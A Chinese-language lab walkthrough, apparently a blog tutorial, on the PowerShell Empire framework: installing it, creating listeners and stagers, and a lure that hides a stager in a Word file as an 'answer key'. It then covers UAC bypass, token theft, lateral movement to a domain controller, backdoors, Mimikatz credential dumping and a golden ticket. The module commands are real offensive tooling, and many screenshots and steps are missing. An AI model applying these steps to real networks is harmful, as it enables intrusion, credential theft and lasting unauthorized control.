Empire的基本使用和域渗透
Empire的基本使用和域渗透
一、Empire简介
? Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测喝大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。
? Empire的全部功能可以参考其官方网站:http://www.powshellempire.com/
二、Empire的安装
? Empire运行在Linux平台上,这里使用的系统是Kali,首先通过git命令下载程序目录。
git clone https://github.com/BC-SECURITY/Empire.git
? 然后安装Empire的依赖,命令如下
cd setup
pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)
./install.sh

在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:
cd ..
./empire
? 若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。
三、Empire的基本使用
帮助信息中文解释如下:
| agents | 跳转到代理菜单 |
|---|---|
| creds | 从数据库中添加/显示凭据 |
| exit | 退出empire |
| help | 显示“帮助”菜单 |
| interact | 与特定的代理交互 |
| list | 列出活动代理或侦听器 |
| listeners | 与活跃的听众互动 |
| load | 从非标准文件夹加载 |
| plugin | 加载插件文件以扩展Empire |
| plugins | 列出所有可用的和活动的插件 |
| preobfuscate | 预混淆PowerShell模块源文件 |
| reload | 重新加载一个(或所有)empire模块 |
| report | 生成报告CSV和日志文件:会话。csv、credentials.csvmaster.log |
| reset | 重置全局选项(例如IP白名单) |
| resource | 从文件中读取并执行empire命令列表 |
| searchmodule | 搜索帝国模块名称/描述 |
| set | 设置一个全局选项(例如IP白名单) |
| show | 显示一个全局选项(例如IP白名单) |
| usemodule | 使用empire模块 |
| usestager | 使用一个empire木马 |
| uselistener | 使用一个empire监听器 |
2、输入uselistener来设置采用何种监听模式,双击TBL可以看到有7种可以使用的模式。

3、采用http监听模式,输入uselistener http,然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。与metasploit很类似

4、通过set配置参数,并提供execeute执行

到这里可以看到监听器成功创建。
5、通过back返回上一级,使用listeners或者list可以查看所设置的监听器

6、也可以使用kill命令删除该监听器

木马就类似MSF中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。
这里我挑选其中的几个常用类型的木马进行具体讲解

可以发现木马被存放在了/tmp目录下,名字为launcher.dll,内容如下:
2、在目标主机上运行木马文件,即可成功上线
2、在装有Powershell的目标机上执行生成的这段命令,即可得到这个主机的权限

2、将生成的木马文件在目标机上打开,就会得到这个主机的权限

运行木马后,主机成功上线。


2、为了增加迷惑性,可以将该批处理文件插入到一个office文件中,随便找一个word或者excel文件,单击“插入对象”标签,选择“由文件创建”,单击“浏览”按钮,选择刚才的批处理文件,然后“显示为图标”,可以选“更改图标”,这里建议使用微软的Excel,Word或PowerPoint图标,使用Word的图标,并且更改文件的名称为参考答案,扩展名改为txt,单击“确定”按钮,该对象就会插入Word文件中。

若对方点击word文件中的txt文件即可获取获得系统的控制权限。

? 然后使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过rename修改会话名称,如下图:

? 还可以通过help查看可以使用的命令,如下图:

? 输入help agentcmds可以查看可供使用的常用命令。如下图:

? 可以通过pwd查看当前目录

? 通过ls查看当前目录下的文件

? 也可以通过upload可以上传文件,通过cat查看文件内容

? 使用某些CMD命令时,要使用”shell+命令的形式”,如下图:

? 下面演示几个常用模块。
可以通过jobs kill JOB_name停止键盘记录


也可以通过jobs kill job_name 停止当前监控模块

? 另外还有usemodule situational_awareness/host/computerdetails模块,该模块几乎列举了系统中所有信息,如目标主机事件日志、应用程序控制策略日志,包括RDP登录信息、Powershell脚本运行和保存的信息等。在运行这模块时需要管理权限,因此需要进行提权。

同样也可以使用Empire内置的端口扫描模块usemodule situational_awareness/network/portscan对端口进行扫描,这里就不再演示了。
? 如果该主机同时有两个网卡,Empire爷回显示出来,方便我们寻找边界主机
? 也可以通过另一个模块显示当前内网DNS服务器的IP地址,如下图:

? 可以通过以下命令查看该主机C盘下的文件
shell dir \\win7\C$

? 返回agents,通过list可以看到有一个新的会话,并且带有*,说明提权成功。

(1)AllChecks模块
查找系统中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞,输入以下命令,如下图:
usemodule privesc/powerup/allchecks

可以看到,我们可以通过BypassUAC进行提权,可以通过以下命令:
usemodule privesc/bypassuac
或
bypassuac c1ay

新会话返回,成功提权。
发现新会话返回,提权成功。可以返回agents通过list查看

四、横向渗透
? 从这里发现有域用户曾在此服务器上登录,此时可以窃取域用户身份,然后进行横向移动,首先要盗取身份,使用pth

? 从图中可以看到PID进程为1380,使用steal_token PID命令即可窃取该身份令牌,如图:

? 同样可以输入ps命令查看是否有域用户的进程,如下图:

? 可以看到存在域管理进程,这里我们可以通过steal_token命令来窃取这个令牌

? 这里可以尝试访问域控的c盘,成功访问。

? 输入revtoself命令可以恢复到原来的状态。

会话返回成功。

一个新的会话成功反弹并且是系统权限。返回agents可以查看

这里因为DC曾登录过本机,因此可以获得DC用户的凭证进行横向移动。

新的会话返回,说明会话创建成功。可以返回agents,通过list查看。

http://www.361way.com/winrm-quickconfig/6370.html
因为在本次内网环境中,域控就是win2012,默认开启这个服务,直接通过以下命令即可得到DC权限。
usemodule lateral_movement/invoke_psremoting
set Listener c1ay
set ComputerName DC

会话成功反弹,通过agents可以查看

五、后门
? 后门是指绕过安全验证而获取对程序或系统访问权的方法。主要目的是方便以后再次秘密进入或控制系统。
? 在win7登录框连续按五次shift键即可反弹会话


Sethc.exe可以替换成以下几项:
- Utilman.exe(使用Win+U组合键)
- Osk.exe (屏幕上的键盘:使用Win + U启动组合键)
- Narrator.exe (启动讲述人:使用Win + U 启动组合键)
- Magnify.exe(放大镜:使用Win + U 组合键启动)
在目标机器的注册表可以看到成功增加了一个命令。

? 只要目标机重启并登录后,就会反弹一个会话,如下图:


? 到指定时间后,会反弹一个shell。

Empire的会话成功反弹到MSF上。到此MSF与empire联动就成功了。
六、完整域内渗透
? 在本次实验环境中,攻击机empire是通过ubantu搭建,中间有个防火墙,用于实现内网可能访问外网,而外网访问不了内网这个功能。内网则是由边界路由器Win2008、域控win2012和域内主机win7构成。我们首先通过web渗透获取了Win2008边界服务器的权限。
2、生成木马

3、在win2008上执行木马,获得会话

该模块是用于判断本机用户是否是域内某一台主机的本地管理员。
确定是否可以访问win7的C盘

成功获取C盘的内容
发现域控叫做DC。
新会话返回成功。返回agents通过list可以看到已经获得win7系统权限

这里我们通过steal_token窃取administer的身份,窃取之后就有dc的访问权限

查看DC的C盘目录

通过revtoself可以恢复原来的身份
)
当前的权限为1我们就可以用mimikatz 这个命令获取明文还有用户的一些凭证。

我们获取之后可以用一个creds命令 查询用户凭证信息

其中plaintext是明文密码,hash是通过加密后的密码。
新的会话上线,通过agents查看

成功获取到域控权限。
也可以通过pth 来获取域控访问权限
)
2、获取用户hash值,命令如下:
usemodule credentials/mimikatz/lsadump
creds

3、制作黄金钥匙,命令如下:
usemodule credentials/mimikatz/golden_ticket
set credid 5
set user Administrator
execute


可以看到获取黄金票据成功,时间是十年。尝试访问DC的c盘下的文件

团队:国科漏斗社区。